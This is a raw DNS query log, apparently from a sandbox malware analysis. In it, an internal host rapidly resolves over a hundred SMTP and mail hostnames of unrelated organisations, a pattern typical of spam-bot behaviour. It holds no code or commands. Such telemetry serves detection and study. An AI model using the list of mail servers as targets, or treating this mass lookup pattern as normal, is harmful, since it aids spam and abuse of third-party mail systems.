Jun 4, 2024 23:10:45.741529942 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	smtp.consultive.com.br	pop.consultive.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:45.741529942 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	pop.consultive.com.br	mail.b.locamail.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:45.741529942 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	mail.b.locamail.com.br		191.252.112.195	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.741576910 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	smtp.consultive.com.br	pop.consultive.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:45.741576910 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	pop.consultive.com.br	mail.b.locamail.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:45.741576910 CEST	1.1.1.1	192.168.2.11	0x9f19	No error (0)	mail.b.locamail.com.br		191.252.112.195	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.849427938 CEST	1.1.1.1	192.168.2.11	0x2df	Name error (3)	secure.mitsui-mining.co.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.858319044 CEST	1.1.1.1	192.168.2.11	0x72f2	Name error (3)	securesmtp.o-k.es	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.020322084 CEST	1.1.1.1	192.168.2.11	0xccf5	No error (0)	cegetel.net		217.19.196.129	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.123456001 CEST	1.1.1.1	192.168.2.11	0xe0c7	No error (0)	amber.plala.or.jp		60.36.166.193	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.148698092 CEST	1.1.1.1	192.168.2.11	0x7b95	Name error (3)	mail.cevdata.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.278296947 CEST	1.1.1.1	192.168.2.11	0xd7bb	No error (0)	securesmtp.sprenzi.de		185.53.177.54	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.311404943 CEST	1.1.1.1	192.168.2.11	0x5589	No error (0)	airlog.fr		164.132.235.17	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.356502056 CEST	1.1.1.1	192.168.2.11	0xcd97	No error (0)	mail.edina.k12.mn.us		64.8.132.253	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.542417049 CEST	1.1.1.1	192.168.2.11	0xbe4b	Name error (3)	out.rhrk.unil-kl.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	mail.clinicabicentenario.cl	clinicabicentenario.cl		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		16.182.71.77	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		52.217.165.125	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		52.216.161.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		54.231.134.197	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		16.182.73.53	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		52.216.44.101	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		52.216.49.109	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.713799953 CEST	1.1.1.1	192.168.2.11	0x646c	No error (0)	clinicabicentenario.cl		52.217.80.251	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.755419016 CEST	1.1.1.1	192.168.2.11	0x45dc	No error (0)	pgrb.com	overdue.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:46.755419016 CEST	1.1.1.1	192.168.2.11	0x45dc	No error (0)	overdue.aliyun.com		170.33.13.246	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.807560921 CEST	1.1.1.1	192.168.2.11	0xa567	Name error (3)	securesmtp.bbt11.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.843307972 CEST	1.1.1.1	192.168.2.11	0x6e1a	No error (0)	mxb.mailgun.org		34.149.236.64	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.873740911 CEST	1.1.1.1	192.168.2.11	0x355f	Name error (3)	mail.nationwide.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.916264057 CEST	1.1.1.1	192.168.2.11	0x7f16	Name error (3)	out.prodasva.org	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.980829954 CEST	1.1.1.1	192.168.2.11	0x9e34	Name error (3)	smtp.siso.ch	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.091041088 CEST	1.1.1.1	192.168.2.11	0x8b43	No error (0)	mxlb.ispgateway.de		80.67.18.126	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.147033930 CEST	1.1.1.1	192.168.2.11	0xd8f2	No error (0)	mail.santarosa.rs.gov.br		187.109.19.131	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.147149086 CEST	1.1.1.1	192.168.2.11	0xd8f2	No error (0)	mail.santarosa.rs.gov.br		187.109.19.131	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.238800049 CEST	1.1.1.1	192.168.2.11	0x365f	No error (0)	mxb.eu.mailgun.org		34.95.107.114	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.290867090 CEST	1.1.1.1	192.168.2.11	0xea1f	Name error (3)	smtp.k9.dion.ne.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.559390068 CEST	1.1.1.1	192.168.2.11	0xc0a5	Name error (3)	securesmtp.yfscorp.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.585948944 CEST	1.1.1.1	192.168.2.11	0xe161	No error (0)	lestrat.nom.fr		213.186.33.19	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.652702093 CEST	1.1.1.1	192.168.2.11	0x543b	Name error (3)	smtp.hyani.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.660521030 CEST	1.1.1.1	192.168.2.11	0x833f	No error (0)	mail.dk		3.125.131.179	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.660521030 CEST	1.1.1.1	192.168.2.11	0x833f	No error (0)	mail.dk		18.192.246.145	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.660521030 CEST	1.1.1.1	192.168.2.11	0x833f	No error (0)	mail.dk		18.193.144.171	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.727850914 CEST	1.1.1.1	192.168.2.11	0x1a50	No error (0)	shfiec.com		59.175.238.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.806709051 CEST	1.1.1.1	192.168.2.11	0xe0cd	Name error (3)	secure.penggilingan.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.940145016 CEST	1.1.1.1	192.168.2.11	0xdc4f	Name error (3)	secure.lion.ocn.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.947494030 CEST	1.1.1.1	192.168.2.11	0x33fc	No error (0)	smtp.netzero.net		64.136.44.44	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.947494030 CEST	1.1.1.1	192.168.2.11	0x33fc	No error (0)	smtp.netzero.net		64.136.52.44	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.974364042 CEST	1.1.1.1	192.168.2.11	0x528c	No error (0)	mail.rwps.org	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:47.974364042 CEST	1.1.1.1	192.168.2.11	0x528c	No error (0)	ghs.googlehosted.com		172.217.16.211	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.976705074 CEST	1.1.1.1	192.168.2.11	0xaa54	No error (0)	securesmtp.boxbg.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.976705074 CEST	1.1.1.1	192.168.2.11	0xaa54	No error (0)	securesmtp.boxbg.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.082588911 CEST	1.1.1.1	192.168.2.11	0x98b3	Name error (3)	secure.cohers.pw	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.128333092 CEST	1.1.1.1	192.168.2.11	0xe33a	Name error (3)	out.thejcafe.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.348376989 CEST	1.1.1.1	192.168.2.11	0x9333	Name error (3)	securesmtp.alitcomercial.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.506441116 CEST	1.1.1.1	192.168.2.11	0x2fb5	Name error (3)	out.toplantec.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604799032 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	smtp.ephar.com.br	pop.ephar.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604799032 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	pop.ephar.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604799032 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604969978 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	smtp.ephar.com.br	pop.ephar.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604969978 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	pop.ephar.com.br	mail.ita.locaweb.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:48.604969978 CEST	1.1.1.1	192.168.2.11	0xa99a	No error (0)	mail.ita.locaweb.com.br		191.252.112.194	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.771773100 CEST	1.1.1.1	192.168.2.11	0xed18	Name error (3)	com.directassurance.service.auto	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.903055906 CEST	1.1.1.1	192.168.2.11	0x41f2	Name error (3)	smtp.timezoneit.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.915307045 CEST	1.1.1.1	192.168.2.11	0xc373	Name error (3)	smtp.cs-centar.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.941171885 CEST	1.1.1.1	192.168.2.11	0xbdd	No error (0)	secure.welshtechnologies.com		13.68.178.199	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.981301069 CEST	1.1.1.1	192.168.2.11	0x6dd5	No error (0)	cricketandjamie.com		192.185.187.230	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.085902929 CEST	1.1.1.1	192.168.2.11	0xbbc7	No error (0)	secure.fernandapaiva.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.085902929 CEST	1.1.1.1	192.168.2.11	0xbbc7	No error (0)	secure.fernandapaiva.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.171407938 CEST	1.1.1.1	192.168.2.11	0xea98	Server failure (2)	duna.by	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.171425104 CEST	1.1.1.1	192.168.2.11	0xea98	Server failure (2)	duna.by	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.171435118 CEST	1.1.1.1	192.168.2.11	0xea98	Server failure (2)	duna.by	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.210655928 CEST	1.1.1.1	192.168.2.11	0x3d9e	Server failure (2)	secure.arthurlodge.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.338119030 CEST	1.1.1.1	192.168.2.11	0x7d3d	Name error (3)	smtp.kamidebuffet.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.438194990 CEST	1.1.1.1	192.168.2.11	0x7e78	No error (0)	dodo.com.au		202.138.49.32	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.499706030 CEST	1.1.1.1	192.168.2.11	0xb3d9	No error (0)	mail.wietz.nl		91.195.241.232	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.591954947 CEST	1.1.1.1	192.168.2.11	0x5f32	Name error (3)	securesmtp.jhope.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.605070114 CEST	1.1.1.1	192.168.2.11	0x86b6	Name error (3)	secure.pr-trust.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.610197067 CEST	1.1.1.1	192.168.2.11	0x222e	No error (0)	murialdo.com.br		186.202.161.213	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.750601053 CEST	1.1.1.1	192.168.2.11	0xf263	Name error (3)	securesmtp.fastek.pl	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.022255898 CEST	1.1.1.1	192.168.2.11	0xfc59	No error (0)	smtp.swissonline.ch	smtp.hispeed.ch		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:50.022255898 CEST	1.1.1.1	192.168.2.11	0xfc59	No error (0)	smtp.hispeed.ch	smtp-hispeed-ch.cname.unified.services		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:50.022255898 CEST	1.1.1.1	192.168.2.11	0xfc59	No error (0)	smtp-hispeed-ch.cname.unified.services		94.169.2.19	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.072616100 CEST	1.1.1.1	192.168.2.11	0xaa2e	Name error (3)	out.ntlworld.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.116751909 CEST	1.1.1.1	192.168.2.11	0xaa5	No error (0)	arnet.com.ar		190.225.183.42	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.237364054 CEST	1.1.1.1	192.168.2.11	0x18ea	No error (0)	smtp.me.com	smtp.me.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:51.238876104 CEST	1.1.1.1	192.168.2.11	0xba29	Name error (3)	smtp.geoinfotech.wajis.com.ng	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.246412039 CEST	1.1.1.1	192.168.2.11	0xba29	Name error (3)	smtp.geoinfotech.wajis.com.ng	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.246427059 CEST	1.1.1.1	192.168.2.11	0x18ea	No error (0)	smtp.me.com	smtp.me.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:51.269228935 CEST	1.1.1.1	192.168.2.11	0x50b4	Name error (3)	mail.sightx.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.276729107 CEST	1.1.1.1	192.168.2.11	0xa6ea	No error (0)	tiscali.cz		77.78.119.119	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.276729107 CEST	1.1.1.1	192.168.2.11	0xa6ea	No error (0)	tiscali.cz		77.78.119.204	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.276729107 CEST	1.1.1.1	192.168.2.11	0xa6ea	No error (0)	tiscali.cz		109.123.210.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.285376072 CEST	1.1.1.1	192.168.2.11	0xfaea	Name error (3)	smtp.stauseetaucher.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.298520088 CEST	1.1.1.1	192.168.2.11	0x45fb	No error (0)	smtp.pandora.be	smtp.telenet.be		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:51.298520088 CEST	1.1.1.1	192.168.2.11	0x45fb	No error (0)	smtp.telenet.be		195.130.132.11	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.298520088 CEST	1.1.1.1	192.168.2.11	0x45fb	No error (0)	smtp.telenet.be		195.130.132.10	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.354343891 CEST	1.1.1.1	192.168.2.11	0xd6d9	No error (0)	mx.jk.locaweb.com.br		200.234.204.130	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.421169043 CEST	1.1.1.1	192.168.2.11	0xea59	No error (0)	rhf.com.br		187.33.241.37	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.439358950 CEST	1.1.1.1	192.168.2.11	0x40e8	Name error (3)	out.brtph632.bnr.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.494440079 CEST	1.1.1.1	192.168.2.11	0x8de5	Name error (3)	out.boophis.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.541219950 CEST	1.1.1.1	192.168.2.11	0x5ecf	No error (0)	gwebiogas-co-uk.mail.protection.outlook.com		52.101.99.2	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.541219950 CEST	1.1.1.1	192.168.2.11	0x5ecf	No error (0)	gwebiogas-co-uk.mail.protection.outlook.com		52.101.89.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.541219950 CEST	1.1.1.1	192.168.2.11	0x5ecf	No error (0)	gwebiogas-co-uk.mail.protection.outlook.com		52.101.89.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.541219950 CEST	1.1.1.1	192.168.2.11	0x5ecf	No error (0)	gwebiogas-co-uk.mail.protection.outlook.com		52.101.99.0	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.565428019 CEST	1.1.1.1	192.168.2.11	0xdafb	No error (0)	securesmtp.scrivano.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.791115046 CEST	1.1.1.1	192.168.2.11	0xb023	Name error (3)	out.alunos.estacio.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.912622929 CEST	1.1.1.1	192.168.2.11	0xd094	Name error (3)	securesmtp.paragonautomotive.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.938591003 CEST	1.1.1.1	192.168.2.11	0xa8a6	Name error (3)	secure.cendoj.ramajudicial.gov.co	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.012296915 CEST	1.1.1.1	192.168.2.11	0x448d	Name error (3)	secure.kyokuyo-sekkei.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.056941032 CEST	1.1.1.1	192.168.2.11	0x12d3	Name error (3)	secure.micaro.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.143409967 CEST	1.1.1.1	192.168.2.11	0xae3a	No error (0)	smtp.syslife.com.br	emailssl-vip.kinghost.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:52.143409967 CEST	1.1.1.1	192.168.2.11	0xae3a	No error (0)	emailssl-vip.kinghost.net		191.6.216.63	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.143409967 CEST	1.1.1.1	192.168.2.11	0xae3a	No error (0)	emailssl-vip.kinghost.net		191.6.216.83	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.164908886 CEST	1.1.1.1	192.168.2.11	0xba4f	No error (0)	ns1.hoss.tn		51.75.204.51	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.319992065 CEST	1.1.1.1	192.168.2.11	0x72d4	No error (0)	mail.mlink.it	pop3.infracomna.it		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:52.319992065 CEST	1.1.1.1	192.168.2.11	0x72d4	No error (0)	pop3.infracomna.it		80.74.176.100	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.589754105 CEST	1.1.1.1	192.168.2.11	0xed64	Name error (3)	out.mccarch.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.626035929 CEST	1.1.1.1	192.168.2.11	0x6134	No error (0)	homina.it		51.255.117.202	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:52.879488945 CEST	1.1.1.1	192.168.2.11	0x8482	Name error (3)	thelosangelesreosales.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.007124901 CEST	1.1.1.1	192.168.2.11	0x77ff	Name error (3)	securesmtp.carnevale.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.267380953 CEST	1.1.1.1	192.168.2.11	0x64d1	Name error (3)	out.pallisgaard.eu	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.272608042 CEST	1.1.1.1	192.168.2.11	0xe731	No error (0)	aspmx3.googlemail.com		142.251.9.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.294133902 CEST	1.1.1.1	192.168.2.11	0x9057	No error (0)	excite.it		51.195.17.238	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.315005064 CEST	1.1.1.1	192.168.2.11	0xe2c5	No error (0)	concordia.psi.br		187.85.164.169	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.324731112 CEST	1.1.1.1	192.168.2.11	0xbd04	No error (0)	mail.zaffarinet.com.br		187.7.88.245	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.324731112 CEST	1.1.1.1	192.168.2.11	0xbd04	No error (0)	mail.zaffarinet.com.br		200.208.187.165	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.324795961 CEST	1.1.1.1	192.168.2.11	0xbd04	No error (0)	mail.zaffarinet.com.br		187.7.88.245	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.324795961 CEST	1.1.1.1	192.168.2.11	0xbd04	No error (0)	mail.zaffarinet.com.br		200.208.187.165	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.374036074 CEST	1.1.1.1	192.168.2.11	0x729	No error (0)	ipcisd-net.mail.protection.outlook.com		52.101.10.12	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.374036074 CEST	1.1.1.1	192.168.2.11	0x729	No error (0)	ipcisd-net.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.374036074 CEST	1.1.1.1	192.168.2.11	0x729	No error (0)	ipcisd-net.mail.protection.outlook.com		52.101.11.13	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.374036074 CEST	1.1.1.1	192.168.2.11	0x729	No error (0)	ipcisd-net.mail.protection.outlook.com		52.101.194.17	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.499104977 CEST	1.1.1.1	192.168.2.11	0x57aa	Server failure (2)	mail.solano.cc.ca.us	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.499767065 CEST	1.1.1.1	192.168.2.11	0x57aa	Server failure (2)	mail.solano.cc.ca.us	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.504046917 CEST	1.1.1.1	192.168.2.11	0x57aa	Server failure (2)	mail.solano.cc.ca.us	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.622178078 CEST	1.1.1.1	192.168.2.11	0xcec0	Server failure (2)	out.nhdac.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:53.796622992 CEST	1.1.1.1	192.168.2.11	0xb559	No error (0)	smtp.clubealuno.com.br	mail.ita.locamail.com.br		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:53.796622992 CEST	1.1.1.1	192.168.2.11	0xb559	No error (0)	mail.ita.locamail.com.br		191.252.112.195	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.082015038 CEST	1.1.1.1	192.168.2.11	0x8382	No error (0)	worldonline.cz		82.208.6.131	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.082015038 CEST	1.1.1.1	192.168.2.11	0x8382	No error (0)	worldonline.cz		82.208.6.138	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.126298904 CEST	1.1.1.1	192.168.2.11	0xe2d6	Name error (3)	securesmtp.a3fcfd0807.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.188184023 CEST	1.1.1.1	192.168.2.11	0x51b7	No error (0)	agwine.it		89.46.105.53	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.200390100 CEST	1.1.1.1	192.168.2.11	0xfd33	No error (0)	mail.broughton.net	mail.netidentity.com.cust.hostedemail.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:54.200390100 CEST	1.1.1.1	192.168.2.11	0xfd33	No error (0)	mail.netidentity.com.cust.hostedemail.com		216.40.42.5	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.279716969 CEST	1.1.1.1	192.168.2.11	0xfa8a	No error (0)	mail.gerosoft.ma	gerosoft.ma		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:10:54.279716969 CEST	1.1.1.1	192.168.2.11	0xfa8a	No error (0)	gerosoft.ma		136.243.87.214	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.317212105 CEST	1.1.1.1	192.168.2.11	0x112	Name error (3)	out.kgbservicos.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.591880083 CEST	1.1.1.1	192.168.2.11	0x476c	Name error (3)	out.pop.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.622185946 CEST	1.1.1.1	192.168.2.11	0xd95f	No error (0)	smtp.outec.co.za		197.242.149.79	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.742235899 CEST	1.1.1.1	192.168.2.11	0xab93	Name error (3)	secure.asdasdasd.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.768650055 CEST	1.1.1.1	192.168.2.11	0x35ff	No error (0)	mx.powerhousevideoworkshop.com.cust.b.hostedemail.com		64.98.36.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		147.182.189.184	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		147.182.130.78	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		147.182.180.139	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		164.90.197.143	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		164.90.197.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		147.182.160.18	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		164.90.197.79	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.807203054 CEST	1.1.1.1	192.168.2.11	0x233c	No error (0)	mx37.mb5p.com		164.90.197.162	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.815148115 CEST	1.1.1.1	192.168.2.11	0xceaf	Name error (3)	mail.wehealforall.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.989402056 CEST	1.1.1.1	192.168.2.11	0xe18f	No error (0)	out.simpson.net.au		103.168.172.37	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:54.989402056 CEST	1.1.1.1	192.168.2.11	0xe18f	No error (0)	out.simpson.net.au		103.168.172.52	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.070122004 CEST	1.1.1.1	192.168.2.11	0x79bd	Name error (3)	smtp.compuserve.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.135730028 CEST	1.1.1.1	192.168.2.11	0x1a79	No error (0)	mx1.querplex.net		88.99.80.136	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.145139933 CEST	1.1.1.1	192.168.2.11	0x33b8	Name error (3)	smtp.freelap.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:55.268878937 CEST	1.1.1.1	192.168.2.11	0xc30d	No error (0)	mail.sollar.net		77.111.240.44	A (IP address)	IN (0x0001)	false
